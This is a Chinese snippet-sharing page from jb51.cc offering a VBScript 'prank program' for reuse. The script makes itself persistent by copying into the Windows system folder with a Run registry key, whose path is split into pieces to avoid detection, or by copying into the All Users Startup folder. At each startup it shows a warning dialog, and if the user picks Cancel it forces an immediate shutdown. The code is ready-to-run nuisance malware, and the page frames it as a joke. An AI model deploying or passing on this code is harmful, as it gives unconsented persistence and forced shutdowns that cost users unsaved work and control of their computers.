下面是内存溢出 jb51.cc 通过网络收集整理的代码片段。
内存溢出小编现在分享给大家,也给大家做个参考。
Dim fs,dirwin,c,Wll,str,strr,rSet fs = CreateObject("Scripting.fileSystemObject") Set dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Set c = fs.Getfile(WScript.ScriptFullname) str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"if (fs.fileExists(dirwin&"\wxb.vbs")) Then call Show_And_Do("reg")elseif (fs.fileExists("C:\documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Thencall Show_And_Do("Startup")else On Error Resume Next strr=""Wll.RegWrite str,"C:\windows\system32\wxb.vbs","REG_SZ"strr=Wll.Regread (str)if strr="" thenc.copy("C:\documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs") elsec.copy(dirwin&"\wxb.vbs") end if end if sub Show_And_Do(s)dim fr = MsgBox ("警告:请不要随便动我的电脑! " & Chr(13) & Chr(10) & "确定->下次一定会先征求同意的" & Chr(10) & "取消->爱咋滴咋地,我才不管他嘞!",4145,"MsgBox Example")If r = 1 Then if s="Startup" thenset f = fs.Getfile("C:\documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")f.Delete()elseif s="reg" thenWll.RegDelete strset f = fs.Getfile(dirwin&"\wxb.vbs")f.Delete()end if Elsewll.run "Shutdown.exe -s -f -t 0"End Ifend sub
以上是内存溢出(jb51.cc)为你收集整理的全部代码内容,希望文章能够帮你解决所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
总结以上是内存溢出为你收集整理的恶搞小程序全部内容,希望文章能够帮你解决恶搞小程序所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)